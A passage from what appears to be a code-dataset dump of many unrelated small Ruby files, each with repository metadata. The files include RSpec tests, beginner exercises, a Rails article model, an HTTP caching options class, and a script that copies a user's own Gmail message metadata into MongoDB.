noを指定しない場合は、identifierを指定してください。"], "order_no" => ["identifierを指定しない場合は、order noを指定してください。"] }) expect(object.errors.full_messages).to eq("order noを指定しない場合は、identifierを指定してください。identifierを指定しない場合は、order noを指定してください。") end end end
true
6a31f6a469b27b5ad792a581f39b8e3da3552ecc
Ruby
Joanf81/citytalk
/app/models/articles/article.rb
UTF-8
564
2.5625
3
[]
no_license
module Articles class Article < ApplicationRecord has_many :article_editions has_many :users, through: :article_editions validates :article_editions, length: { minimum: 1 } attr_accessor :picture attr_accessor :content def article_owner article_editions.first.user end def is_article_owner? user article_owner == user end def last_edition article_editions.last end def picture last_edition.picture end def content last_edition.content end def last_modification_date last_edition.created_at end end end
true
bff2df978e5a9c8e547393dac23b18cdbc19dc9e
Ruby
r-osoriobarra/desafios_hashes_01-06-21
/ejercicio_propuesto.rb
UTF-8
314
3.390625
3
[]
no_license
#ejercicio propuesto 100.times do |e| num = e+1 if num % 3 == 0 if num % 5 == 0 pp "#{num} es divisible por ambos" else pp "#{num} es divisible por 3" end elsif num % 5 == 0 pp "#{num} es divisible por 5" else pp "#{num}" end end
true
53daf41e11f01d84c96753c20738c4855b392702
Ruby
GoBeyond87/URI-Ruby
/1008.rb
UTF-8
161
2.921875
3
[]
no_license
# frozen_string_literal: true f = gets.to_i h = gets.to_i v = gets.to_f s = h * v puts "NUMBER = #{f}" print 'SALARY = U$ ' puts format('%.2f', s)
true
ce45fe4b4dd1e0cd526bd6932597b42cbca82068
Ruby
oguratakayuki/code_test
/ruby/basis/dump_test.rb
UTF-8
463
3.59375
4
[]
no_license
class Hoge attr_accessor :name def initialize @name = 'hoge' end end #h = Hoge.new #c_name = h.name # ##破壊的メソッドを使うと書き換わる #h.name.replace('piyo') #puts c_name # # # #h2 = Hoge.new #c_name2 = h2.name.dup # ##これは大丈夫 #h2.name.replace('piyo') #puts c_name2 h =Hoge.new h2 =h h3 =h.dup puts h.object_id puts h2.object_id puts h3.object_id puts h.name.object_id puts h2.name.object_id puts h3.name.object_id
true
df40450afe5ac2bcce44968f7f8fde1ebd03407d
Ruby
PikachuEXE/stale_options
/lib/stale_options/abstract_options.rb
UTF-8
2,611
2.796875
3
[ "MIT" ]
permissive
module StaleOptions class AbstractOptions # Params: # +record+:: +Object+:: An +Object+, +Array+ or +ActiveRecord::Relation+. # +options+:: +Hash+:: # * +:cache_by+:: # * +String+ or +Symbol+:: # A name of method which returns unique identifier of object for caching. # # For arrays and relations if value is +itself+, then it will be cached as it is, # otherwise this method will be called on each element. # Relations will be converted to arrays by calling <tt>#to_a</tt>. # # Hint: To cache an array of "simple" objects (e.g. +String+ or +Numeric+) set it to +itself+. # Default: +:updated_at+. # * +:last_modified+:: # * +String+ or +Symbol+:: # If +record+ is a relation, then an attribute name. # If +record+ is an +Array+ or +Object+, then a method name. # Expected an instance of +ActiveSupport::TimeWithZone+, +DateTime+, +Time+. # * +ActiveSupport::TimeWithZone+, +DateTime+, +Time+ or +nil+:: # To set +last_modified+. # Default: +:updated_at+. def initialize(record, options = {}) @record = record @options = { cache_by: :updated_at, last_modified: :updated_at }.merge!(options) end # Returns options for <tt>ActionController::ConditionalGet#stale?</tt> def to_h { etag: etag, last_modified: nil }.tap do |h| unless last_modified_opt.nil? h[:last_modified] = StaleOptions.time?(last_modified_opt) ? last_modified_opt : last_modified h[:last_modified] = h[:last_modified]&.utc end end end private def cache_by_opt @options[:cache_by] end def cache_by_itself? cache_by_opt.to_s == 'itself' end def read_cache_by(obj) value = obj.public_send(cache_by_opt) StaleOptions.time?(value) ? value.to_f : value end def last_modified_opt @options[:last_modified] end def read_last_modified(obj) obj.public_send(last_modified_opt) end def object_hash(obj) Digest::MD5.hexdigest(Marshal.dump(obj)) end def collection_hash(collection) object_hash(collection.map { |obj| read_cache_by(obj) }) end protected def etag raise NotImplementedError end def last_modified raise NotImplementedError end end end
true
72c25a34c158032e4c555d28e2494e1b19e8aac8
Ruby
dowism/Coding
/Ruby5-8/evenmoreHashPractice.rb
UTF-8
2,708
4.5
4
[]
no_license
=begin In this lesson you will take the scattered lines of this code and reconstruct it into a program that does the following 1. tells the user what is going to happen 2. collects the users classes until they are done 3. collects the users HW for each class. 4. then allows the use to view their hw, change their hw, add a class, or quit. Reflection questions 1. how do you store a value for a key in an object? 2. Why is the case method best here? compare with if/elif statements 3. why is the first loop started with until false? How does the user get out of that loop? 4. why do we use the .has_key? command in one of the cases? There is one new method in this program: The case method. you use it when there are a few different possibilities for a particular object, and for each possibility you want their to be a different action taken by the computer. So you tell the computer what object you are trying to evaluate and give a bunch of options for what to do depending on that that object is. case object when condition then something happens when condition then something happens when condition then something happens when condition then something happens end =end classes = Hash.new("NO HW") puts "You are going to be keeping track of your HW using this program \n when you are done with any task type done and you will move onto the next task" until false puts "Add a class" userinput = gets.chomp if userinput == "done" break end classes[userinput]=[] puts "You now have #{classes}" end puts "Now you are going to put in what HW you have for your class" classes.each do |session,hw| puts "In #{session} write your HW" classhw = gets.chomp classes[session]=classhw puts "Your hw in #{session} is to do #{classhw}" end until false puts "What do you want to do? \n Add a class: Type Add \n change HW: Type Change\n Quit: Type Quit\n To check you HW: Type check" userinput=gets.chomp case userinput when "add" #add how they would add a class puts "Add a class" userinput = gets.chomp classes[userinput]=[] puts "You now have #{classes}" when "change" #add how they would change the hw in a class, check to make sure the class exists first puts "Which class would you like to change HW in?" changeHW=gets.chomp if !classes.has_key?(changeHW) puts "That class does not exist" end if classes.has_key?(changeHW) puts "What is the HW in #{changeHW}:" newHW=gets.chomp classes[changeHW]=newHW end when "check" classes.each do |session,hw| puts "in #{session} you have #{hw}" end when "quit" #break out of this loop when they quit break end end
true
f2ce25d65ef92e170c4579d1046978c5d6f29542
Ruby
pete3249/oo-banking-onl01-seng-pt-052620
/lib/transfer.rb
UTF-8
1,456
3.375
3
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ]
permissive
require 'pry' class Transfer attr_accessor :status attr_reader :sender, :receiver, :amount def initialize(sender, receiver, amount) @sender = sender @receiver = receiver @amount = amount @status = "pending" end def valid? if self.sender.valid? && self.receiver.valid? return true else return false end end def execute_transaction if self.valid? && self.status == "pending" && sender.balance >= amount sender.balance = sender.balance - amount receiver.balance = receiver.balance + amount self.status = "complete" else self.status = "rejected" "Transaction rejected. Please check your account balance." end end def reverse_transfer if self.status == "complete" sender.balance = sender.balance + amount receiver.balance = receiver.balance - amount self.status = "reversed" end end end # describe '#reverse_transfer' do # it "can reverse a transfer between two accounts" do # transfer.execute_transaction # expect(amanda.balance).to eq(950) # expect(avi.balance).to eq(1050) # transfer.reverse_transfer # expect(avi.balance).to eq(1000) # expect(amanda.balance).to eq(1000) # expect(transfer.status).to eq("reversed") # end # it "it can only reverse executed transfers" do # transfer.reverse_transfer # expect(amanda.balance).to eq(1000) # expect(avi.balance).to eq(1000)
true
942ca033878e36836c01e7d3253cd9bb5a513d7f
Ruby
ewansheldon/leap-year-kata
/spec/year_spec.rb
UTF-8
575
3.109375
3
[]
no_license
require './lib/year' describe 'leap_year?' do it 'returns false if year is not divisible by 4' do year = Year.new(1997) expect(year.leap_year?).to equal(false) end it 'returns true if year is divisible by 4' do year = Year.new(1996) expect(year.leap_year?).to equal(true) end it 'returns true if year is divisible by 400' do year = Year.new(1600) expect(year.leap_year?).to equal(true) end it 'returns false if year is divisible by 100, but not 400' do year = Year.new(1800) expect(year.leap_year?).to equal(false) end end
true
4a56c42be7a00222256eef8caa36508872d26b6e
Ruby
charleswang234/Two-Player-Math-Game
/main.rb
UTF-8
745
3.671875
4
[]
no_license
class Player def initialize(name, lives) @name = name @lives = lives end end class Question attr_accessor :num1, :num2, :sum def initialize() @num1 = generate_random @num2 = generate_random @sum = total_sum end def generate_random rand(1..20) end def total_sum self.num1 + self.num2 end def prompt puts "What does #{num1} plus #{num2} equal?" end def new_question num1 = generate_random num2 = generate_random sum = total_sum end end class Turn attr_accessor : def initialize() @player_ask @player_ans @answer end def get_answer() end end player1 = Player.new("Player 1", 3) player2 = Player.new("Player 2", 3) question = Question.new()
true
26ef6c766360486006d4a5aa09f2b699e83586d8
Ruby
nikhilbelchada/family-tree
/spec/command_spec.rb
UTF-8
2,881
2.953125
3
[]
no_license
require 'command.rb' require 'command/add.rb' require 'command/relation.rb' require 'command/search.rb' require 'relation.rb' require 'relation/father.rb' require 'relation/mother.rb' require 'relation/child.rb' require 'relation/sibling.rb' RSpec.describe Command do describe "is_valid?" do context "add" do it "should return true if valid" do expect(Command.is_valid?("add juno male")).to eq true end it "should return false if not valid" do expect(Command.is_valid?("addjuno male")).to eq false end end context "relation" do it "should return true if valid" do expect(Command.is_valid?("juno as father of uno")).to eq true expect(Command.is_valid?("juno as mother of uno")).to eq true expect(Command.is_valid?("juno as daughter of uno")).to eq true expect(Command.is_valid?("juno as son of uno")).to eq true expect(Command.is_valid?("juno as sister of uno")).to eq true expect(Command.is_valid?("juno as brother of uno")).to eq true end it "should return false if not valid" do expect(Command.is_valid?("juno as dono of uno")).to eq false end end describe "get_command_from" do context "add" do it "should get command class" do expect(Command.get_command_from("add juno male")).to eq Command::Add expect(Command.get_command_from("add ")).to eq Command::Add end it "should get nil if invalid text" do expect(Command.get_command_from("add")).to eq nil end end context "relation" do it "should get command class" do expect(Command.get_command_from("juno as father of uno")).to eq Command::Relation expect(Command.get_command_from("juno as mother of uno")).to eq Command::Relation expect(Command.get_command_from("juno as son of uno")).to eq Command::Relation expect(Command.get_command_from("juno as daughter of uno")).to eq Command::Relation expect(Command.get_command_from("juno as sister of uno")).to eq Command::Relation expect(Command.get_command_from("juno as brother of uno")).to eq Command::Relation end it "should get nil if invalid text" do expect(Command.get_command_from("juno father of uno")).to eq nil end end context "search" do it "should get command class" do expect(Command.get_command_from("get all daughters of juno")).to eq Command::Search expect(Command.get_command_from("get siblings of juno")).to eq Command::Search expect(Command.get_command_from("get daughters of juno")).to eq Command::Search end it "should get nil if invalid text" do expect(Command.get_command_from("all daughter of juno")).to eq nil end end end end end
true
7b311d2387c4c6362142efd0f064d78c8f892966
Ruby
mark/shard
/lib/shard/cli/fork.rb
UTF-8
1,343
2.71875
3
[ "MIT" ]
permissive
module Shard::CLI class Fork ################ # # # Declarations # # # ################ attr_reader :ref ############### # # # Constructor # # # ############### def initialize(shard_line) @ref = Shard::Ref(shard_line) end ################# # # # Class Methods # # # ################# def self.run(shard_line) new(shard_line).run end #################### # # # Instance Methods # # # #################### def run if ref.nil? puts "That is not a valid shard reference." return end if Shard::Credentials.saved? && Shard::Credentials.valid? fork_shard else puts "You are not currently logged into Github." Shard::CLI::Config.run if Shard::Credentials.saved? run end end end private def fork_shard lister = Shard::Lister.new(ref.user) shard = lister.shards[ref.name] if shard puts "Forking #{ ref.user }/#{ ref.name }..." Shard.api.fork_gist(shard.id) else puts "That is not a valid shard reference." end end end end
true
a6a3ab9954b8182c7cc148ff251828a72554043f
Ruby
thebravoman/software_engineering_2013
/class7_homework/test_Kiril_Kostadinov.rb
UTF-8
479
2.53125
3
[]
no_license
require 'csv' CSV.open("Kiril_Kostadinov_test_data/result.csv", "w") do |csv| Dir.glob("*.rb") do |program| next if program[0..3] == test `mkdir test` `ruby #{program} Kiril_Kostadinov_test_data/28.srt Kiril_Kostadinov_test_data/out.txt` result = `diff Kiril_Kostadinov_test_data/out.txt Kiril_Kostadinov_test_data/Kiril_Kostadinov.txt` result.gsub!(/[\n\r]/, "") if result == "" csv << [file, result, true] else csv << [file, result, false] end end end
true
548dd6580481ba87066f332d3a6bcb36b7579889
Ruby
zedtran/PrinciplesOfProgrammingLangs
/Ruby_LexicalAnalyzer/TinyToken.rb
UTF-8
752
3.484375
3
[]
no_license
# # Class Token - Encapsulates the tokens in TINY # # @type - the type of token # @text - the text the token represents # class Token attr_accessor :type attr_accessor :text EOF = "eof" LPAREN = "(" RPAREN = ")" WS = "whitespace" ADDOP = "+" MINUSOP = "-" MULTOP = "*" DIVOP = "/" EQUALOP = "=" NUMBER = "number" ALPHABET = "letter" PRINT = "print" ID = "unassigned" #add the rest of the tokens needed based on the grammar #specified in the Scanner class "TinyScanner.rb" def initialize(type,text) @type = type @text = text end def get_type return @type end def get_text return @text end def to_s # return "[Type: #{@type} || Text: #{@text}]" return "#{@text}" end end
true
1f9d64e9af7f1685d1c8aaaf7c4ac6447eb20f55
Ruby
jkoomjian/MyEmailResponseRate
/email2db.rb
UTF-8
3,748
2.734375
3
[]
no_license
#!/usr/bin/env ruby require 'net/imap' require 'mongo' require 'date' include Mongo ############################################ # This script copies emails from gmail and # inserts them into a mongo db # modified from: http://wonko.com/post/ruby_script_to_sync_email_from_any_imap_server_to_gmail ############################################ # Mail server connection info. SOURCE_HOST = 'imap.gmail.com' SOURCE_PORT = 993 SOURCE_SSL = true # Get all messages FOLDER = '[Gmail]/All Mail' # By default get all messages from the last month $date_end = (DateTime.now + 1).strftime("%-d-%b-%Y") # end date should be much longer than 1 mo. If a user responded to an old email # that email should be in the db $date_start = (DateTime.now - 51).strftime("%-d-%b-%Y") # Maximum number of messages to select at once. UID_BLOCK_SIZE = 1024 $synced = 0 #---------------- Utility Methods -----------------------# def uid_fetch_block(server, uids, *args) pos = 0 while pos < uids.size server.uid_fetch(uids[pos, UID_BLOCK_SIZE], *args).each {|data| yield data } pos += UID_BLOCK_SIZE end end def s_ary(ary) return ary ? ary.map{|x| x.to_s} : [] end #---------------- Mongo Methods -----------------------# def init_mongo # connect, will create db, collection if they don't exist $db = MongoClient.new("localhost", 27017).db("my_email_response_rate") $coll = $db.collection("email_collection") #clean the database $coll.drop() end def insert_msg(jsmsg) id = $coll.insert(jsmsg) end #---------------- Mail Methods -----------------------# # simplify Address class Net::IMAP::Address def to_s return "#{self.mailbox}@#{self.host}" end end def print_msg(msg) puts msg.seqno puts msg.attr['UID'] # puts msg.attr['RFC822'] puts msg.attr['INTERNALDATE'] puts msg.attr['FLAGS'] puts msg.attr['ENVELOPE'].date puts msg.attr['ENVELOPE'].subject puts msg.attr['ENVELOPE'].from puts msg.attr['ENVELOPE'].to puts msg.attr['ENVELOPE'].cc puts msg.attr['ENVELOPE'].bcc puts msg.attr['ENVELOPE'].in_reply_to puts msg.attr['ENVELOPE'].message_id end def msg_to_json(msg) subject = msg.attr['ENVELOPE'].subject return { 'seqno' => msg.seqno, 'uid' => msg.attr['UID'], 'internaldate' => msg.attr['INTERNALDATE'], 'flags' => msg.attr['FLAGS'], 'date' => msg.attr['ENVELOPE'].date, 'subject' => msg.attr['ENVELOPE'].subject, 'from' => s_ary(msg.attr['ENVELOPE'].from), 'to' => s_ary(msg.attr['ENVELOPE'].to), 'cc' => s_ary(msg.attr['ENVELOPE'].cc), 'bcc' => s_ary(msg.attr['ENVELOPE'].bcc), 'in_reply_to' => msg.attr['ENVELOPE'].in_reply_to, 'message_id' => msg.attr['ENVELOPE'].message_id, 'is_reply' => !!(subject && subject.match(/^Re:/i)) } end def run() # puts 'Connecting...' source = Net::IMAP.new(SOURCE_HOST, SOURCE_PORT, SOURCE_SSL) # puts 'Logging in...' source.login(SOURCE_USER, SOURCE_PASS) # Open All Mail folder in read-only mode. begin source.examine(FOLDER) rescue => e puts "Error: select failed: #{e}" end # Loop through all messages in the source folder. #uids = source.uid_search(['ALL']) uids = source.uid_search(['SINCE', $date_start, 'BEFORE', $date_end]) # puts "Found #{uids.length} messages" if uids.length > 0 uid_fetch_block(source, uids, ['UID', 'ENVELOPE', 'FLAGS', 'INTERNALDATE']) do |msg| # puts msg.seqno # puts msg_to_json(msg) insert_msg( msg_to_json(msg) ) $synced += 1 end end source.close # puts "Finished. Message counts: #{$synced} copied to db" end ## Setup if ARGV.length < 2 puts "Usage: ruby email2db.rb gmail_username gmail_password" exit end SOURCE_USER = ARGV[0] SOURCE_PASS = ARGV[1] init_mongo() run()
true
eca121c3214cd03a1da28405d6a4c141f905f9b3
Ruby
ckaminer/api_curious
/app/models/geocoding.rb
UTF-8
218
2.609375
3
[]
no_license
class Geocoding < OpenStruct def self.service @@service ||= GeocodingService.new end def self.retrieve(lat, lng) address = service.get_address(lat, lng) Geocoding.new({address: address}) end end
true
679bb42749ef2356cf4de85ac604e3b7c5d8cdfc
Ruby
Berlinta/ruby-object-attributes-lab-online-web-pt-021119
/lib/dog.rb
UTF-8
240
3.265625
3
[]
no_license
class Dog def name=(new_pup) @name = new_pup end def name @name end def breed=(new_kind) @breed = new_kind end def breed @breed end end fido = Dog.new fido.name = "Fido" snoopy = Dog.new snoopy.breed = "Beagle"
true
30c515404f4c17dd6c5f26600e32aa79b85ff8ee
Ruby
arpodol/ruby_small_problems
/easy7/lettercase_counter.rb
UTF-8
680
3.78125
4
[]
no_license
def letter_case_count(string) results_hash = {:lowercase => 0, :uppercase => 0, :neither => 0} string_array = string.split('') string_array.each do |character| if !!(character =~ /[a-z]/) results_hash[:lowercase] +=1 elsif !!(character =~ /[A-Z]/) results_hash[:uppercase] +=1 else results_hash[:neither] +=1 end end results_hash end p letter_case_count('abCdef 123') == { lowercase: 5, uppercase: 1, neither: 4 } p letter_case_count('AbCd +Ef') == { lowercase: 3, uppercase: 3, neither: 2 } p letter_case_count('123') == { lowercase: 0, uppercase: 0, neither: 3 } p letter_case_count('') == { lowercase: 0, uppercase: 0, neither: 0 }
true
fd54261e6f18afe82c68551e355f30d6b9f27cfe
Ruby
ardenzhan/dojo-ruby
/arden_zhan/rails/blogs/queries.rb
UTF-8
2,735
2.8125
3
[]
no_license
# Have the first 3 blogs be owned by the first user User.first.update(blogs: Blog.where("id <= 3")) # Have the 4th blog you create be owned by the second user Blog.fourth.owners.create!(user: User.second) # Have the 5th blog you create be owned by the last user Blog.fifth.owners.create!(user: User.last) # Have the third user own all of the blogs that were created. User.third.update(blogs: Blog.all) # Have the first user create 3 posts for the blog with an id of 2. # BAD: Post.create(user: User.first, blog_id: 2) # GOOD: Post.create(user: User.first, blog: Blog.find(2)). # Again, you should never reference the foreign key in Rails User.first.posts.create!(title: "Title", content: "Content", blog: Blog.find(2)) # Have the second user create 5 posts for the last Blog. User.second.posts.create!(blog: Blog.last, title: "Title", content: "Content") # Have the 3rd user create several posts for different blogs. User.third.posts.create!(blog: Blog.third, title: "Title", content: "content") # Have the 3rd user create 2 messages for the first post created and 3 messages for the second post created User.third.messages.create!(post: Post.first, message: "Message") User.third.messages.create!(post: Post.second, message: "Message") # Have the 4th user create 3 messages for the last post you created. User.fourth.messages.create!(post: Post.last, message: "message") # Change the owner of the 2nd post to the last user. Post.second.update(user: User.last) # Change the 2nd post's content to be something else. Post.second.update(content: "some other content") # Retrieve all blogs owned by the 3rd user (make this work by simply doing: User.find(3).blogs). User.third.blogs # Retrieve all posts that were created by the 3rd user User.third.posts # Retrieve all messages left by the 3rd user User.third.messages Message.joins(:user).where("users.id = 3") # Retrieve all posts associated with the blog id 5 as well as who left these posts. Blog.find(5).posts.joins(:user).select("posts.*", "users.*") Post.joins(:user, :blog).where("blogs.id = 5").select("posts.*", "users.*") # Retrieve all messages associated with the blog id 5 along with all the user information of those who left the messages Message.joins(:user).where(post: Blog.find(5).posts).select("messages.*", "users.first_name", "users.last_name") # Grab all user information of those that own the first blog (make this work by allowing Blog.first.owners to work). Blog.first.owners.joins(:user).select("owners.*", "users.*") Blog.first.users # Change it so that the first blog is no longer owned by the first user. Owner.joins(:blog, :user).find_by("blogs.id = 1 AND users.id = 1").destroy #1 load Blog.find(1).users.destroy(User.find(1)) #3 loads
true
b224e6afdc7106ea9137dbea1d7425b4972ecb71
Ruby
BeerBatteredCode/week_02
/day_01/specs/library-spec.rb
UTF-8
661
2.828125
3
[]
no_license
require('minitest/autorun') require('minitest/rg') require_relative('../library') class TestLibrary < Minitest::Test def setup @library = Library.new() @book = { title: "lord_of_the_rings", rental_details: { student_name: "Jeff", date: "01/12/16" } } @library.books.push(@book) end def test_get_all_details book_found = @library.get_all_details("lord_of_the_rings") assert_equal(book_found[:title], "lord_of_the_rings") end def test_get_rental_details rental_detail = @library.get_all_rental_details("lord_of_the_rings") assert_equal(rental_detail == nil, false ) end end
true
2f865a5c170bece897a7a6d5f4f33e08066f3c35
Ruby
rockcoolsaint/depot_in_rails
/app/models/user.rb
UTF-8
1,075
2.59375
3
[]
no_license
class User < ActiveRecord::Base require 'digest/sha2' attr_accessor :password #attr_reader :password validates :name, presence: true, uniqueness: true validates :password, presence: true, confirmation: true #validate :password_must_be_present before_save :encrypt_password after_destroy :ensure_an_admin_remains def self.authenticate(name, password) user = find_by_name(name) return user if user && user.authenticated?(password) end def authenticated?(password) self.hashed_password == encrypt(password) end def ensure_an_admin_remains if User.count.zero? raise "Can't delete last user" end end private def password_must_be_present errors.add(:password, "Missing password") unless hashed_password.present? end def encrypt_password self.salt = generate_salt if new_record? self.hashed_password = encrypt(password) end def encrypt(string) secure_hash("#{string}") end def generate_salt self.salt = self.object_id.to_s + rand.to_s end def secure_hash(string) Digest::SHA2.hexdigest(string) end end
true
441ab1168611f2dae93767ec31c85283ec84ae6a
Ruby
wildkain/simple_rack_time
/time_formatter.rb
UTF-8
886
3.046875
3
[]
no_license
class TimeFormatter TIME_FORMAT = { "year" => "%Y", "month" => "%m", "day" => "%d", "hour" => "%H h", "minute" => "%M m", "second" => "%S s" }.freeze attr_accessor :status, :body def initialize(query_string) @query_string = query_string @true_format = [] @unknown_format = [] query_to_time_format response end def query_to_time_format time_query = Rack::Utils.parse_nested_query(@query_string)['format'].split(',') time_query.each do |time| if TIME_FORMAT.has_key?(time) @true_format << TIME_FORMAT[time] else @unknown_format << time end end end def response if @unknown_format.empty? self.status = 200 self.body = Time.now.strftime(@true_format.join("-")) else self.status = 400 self.body = "Unknown time format #{@unknown_format}" end end end
true
bc2e26f66455abee9c1eadaa76604ebccf0ac7d9
Ruby
ZABarton/phase-0
/week-6/credit-card/my_solution.rb
UTF-8
4,812
4.34375
4
[ "MIT" ]
permissive
# Pseudocode # Input: A 16 digit credit card number # Output: True or false (depending on if credit card number is valid or not) # Steps: # # Define CC Class # # Define the initialize method: # Raise an argument error if CC# is not a 16 digit integer # Take the argument passed into the init method and create a 16-element array # Explicitly convert integer to string for this split method # Each element equals a single digit of the CC# # Create instance variable with the array # # Define a math method: # Double the even indexes of our array (destructively) # Iterate through the array to find and split two-digit numbers into one-digit numbers # Explicitly convert the even indexes to integers for the math, then put as strings for future use # Split two digit STRINGS into two one-digit STRINGS and convert all to integers # Sum all elements of the array # Assign this sum to a new instance variable # Define a check_card method: # Take our sum instance variable modulo 10 # If 0, true # If not zero, false # Initial Solution # Don't forget to check on initialization for a card length # of exactly 16 digits # class CreditCard # def initialize(number) # unless number.to_s.length == 16 && number.is_a?(Integer) # raise ArgumentError.new("Credit Card number needs to be a 16-digit integer") # end # @number = number.to_s.split("") # end # def math # evens = @number.select.each_with_index { |x,y| y.even? } # odds = @number.select.each_with_index { |x,y| y.odd? } # evens.map! { |x| x.to_i * 2 } # evens.map! { |x| x.to_s.split("")} # @number = evens.flatten + odds # @number.map! { |x| x.to_i } # @sum = @number.inject { |total, object| total + object} # puts @sum # end # def check_card # math # @sum % 10 == 0 ? (return true) : (return false) # end # end # cardnumber = CreditCard.new(1203018346571839) # cardnumber # Refactored Solution class CreditCard def initialize(number) unless number.to_s.length == 16 && number.is_a?(Integer) raise ArgumentError.new("Credit Card Number needs to be a 16-digit integer") end @number = number.to_s.split("") end def math split = @number.partition.each_with_index { |digit, index| index.even? } split[0].map! { |number| (number.to_i * 2).divmod(10) } split[1].map! { |number| number.to_i } @sum = split.flatten.inject {|total, digits| total + digits } end def check_card math @sum % 10 == 0 ? (return true) : (return false) end end =begin REFLECTIONS What was the most difficult part of this challenge for you and your pair? Honestly, I think the hardest part of this challenge was managing all the transfers of strings to integers and vice versa. We knew exactly what we wanted to do, and did a great job writing out the pseudocode, but our .to_s and .to_i methods didn't always work how we intended them to. It took some testing in IRB to figure out where the methods weren't working. However, we did learn a lot about debugging in IRB so it was a good experience! What new methods did you find to help you when you refactored? This part of the challenge was great. We looked through the docs for anything that could help, and came up with some new methods that simplified our code greatly. The partition method was a fantastic way to separate the numbers we wanted to double from the numbers we wanted to leave alone. We used the partition method to catch all of the even indexed numbers in the initial credit card array, and put them in their own nested array. That way, we could map over that array while leaving the other digits alone. The other big discovery was the divmod solution. Divmod returns an array of two digits, the first being the quotient, and the second being the remainder. So if you have a two digit number and you apply the divmod(10) method, you will receive an array with the two digits separated into an array. This made our summation code easier because all we had to do was flatten the entire array and sum up all the numbers. What concepts or learnings were you able to solidify in this challenge? One thing we got some practice with was learning the order of operations in calling methods in a chain. This gave us some issues applying the .to_s and .to_i methods. We were able to learn from this by writing the code in long-form first - one method per line. Then, we could refactor later by combining the methods into a single line. We also practiced testing the code in IRB by using the load command and running the driver code in IRB. This was very helpful for debugging because you can see exactly what is being returned and if it's what was expected. This helped us solve the inital problem faster because we could pinpoint the exact problems due to seeing the returned values of the methods. =end
true
8ab76ab96588364183b6b949845f5a37a4848406
Ruby
machinio/solrb
/lib/solr/query/request/filter.rb
UTF-8
1,810
2.765625
3
[ "MIT" ]
permissive
require 'date' module Solr module Query class Request class Filter include Solr::Support::SchemaHelper using Solr::Support::StringExtensions EQUAL_TYPE = :equal NOT_EQUAL_TYPE = :not_equal attr_reader :type, :field, :value def initialize(type:, field:, value:) @type = type @field = field @value = value end def to_solr_s "#{solr_prefix}#{solr_field}:(#{solr_value})" end def solr_field solarize_field(@field) end def solr_value if value.is_a?(::Array) value.map { |v| to_primitive_solr_value(v) }.join(' OR ') elsif value.is_a?(::Range) to_interval_solr_value(value) else to_primitive_solr_value(value) end end private def solr_prefix '-' if NOT_EQUAL_TYPE == type end def to_interval_solr_value(range) solr_min = to_primitive_solr_value(range.first) solr_max = to_primitive_solr_value(range.last) "[#{solr_min} TO #{solr_max}]" end def to_primitive_solr_value(value) if date_infinity?(value) || numeric_infinity?(value) '*' elsif date_or_time?(value) value.strftime('%Y-%m-%dT%H:%M:%SZ') else %("#{value.to_s.solr_escape}") end end def date_infinity?(value) value.is_a?(DateTime::Infinity) end def numeric_infinity?(value) value.is_a?(Numeric) && value.infinite? end def date_or_time?(value) return false unless value value.is_a?(::Date) || value.is_a?(::Time) end end end end end
true
152ea5c210f49e7f3c25cce0eb1bfeda2ca76514
Ruby
yauralee/merchant-guide
/spec/lib/calculator_spec.rb
UTF-8
2,496
3.03125
3
[]
no_license
require 'parser/input_parser' require 'Calculator' RSpec.describe Calculator do let(:input_parser) {InputParser.new} let(:known_transactions) {input_parser.yaml_parser('resource/known_transactions.yml')} let(:symbols_attributes) {input_parser.yaml_parser('resource/latin_symbols_attributes.yml')} let(:calculator) {Calculator.new(known_transactions, symbols_attributes)} let(:questions) {input_parser.yaml_parser('resource/questions.yml')} describe '#initialize' do context 'with known transactions and symbols attributes' do it 'should return calculator instance with metal price as attribute' do metals_prices = {"Silver"=>17.0, "Gold"=>14450.0, "Iron"=>195.5} expect(Calculator.new(known_transactions, symbols_attributes).metals_prices).to eq(metals_prices) end end end describe '#calculate_results' do context 'with questions' do it 'should return result array' do result_array = [42, 68.0, 57800.0, 782.0, "I have no idea what you are talking about"] expect(Calculator.calculate_results(questions, symbols_attributes, known_transactions)).to eq(result_array) end end end describe '#symbols_to_value' do context 'when given symbol string' do it 'should return the value of the string' do symbol_string = 'MCMXLIV' expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(1944) end it 'should return the value of the string' do symbol_string = 'MMVI' expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(2006) end it 'should return the value of the string' do symbol_string = 'XLII' expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(42) end end end describe '#metal_total_price' do context 'when given metal and amount symbols' do it 'should return total price of this metal' do amountSymbols_and_metal = {'IV' => 'Silver'} expect(calculator.metal_total_price(amountSymbols_and_metal, symbols_attributes)).to eq(68) end end end describe '#have_no_idea' do context 'when product is not metal' do it 'should return have no idea' do product_and_condition = {'wood' => 'could a woodchuck chuck if a woodchuck could chuck wood'} expect(calculator.have_no_idea(product_and_condition)).to eq('I have no idea what you are talking about') end end end end
true
690f7919926d4426c53b95c0d2e61a5cdc946eb4
Ruby
mi2zq/senju
/lib/senju/credentials.rb
UTF-8
351
2.59375
3
[]
no_license
require 'yaml' class Senju::Credentials attr_reader :data def initialize(filepath = nil) filepath ||= Dir.home + '/.senju/credentials' @data = YAML.load_file(filepath) end def [](conf) @data[conf] end end class Senju::Credential def self.all Senju::Credentials.new.data end def self.find(key) all[key] end end
true
829379e1ab5135601c310b046438ff3b1360529d
Ruby
nhsykym/AOJ
/ITP1_6_A.rb
UTF-8
69
2.796875
3
[]
no_license
n = gets.to_i arr = gets.split.map(&:to_i) puts arr.reverse.join(' ')
true
ad75528f9099f140fa4bef7475e3b2af96de8ca3
Ruby
martinstreicher/laserbeam
/lib/room.rb
UTF-8
2,204
3.234375
3
[]
no_license
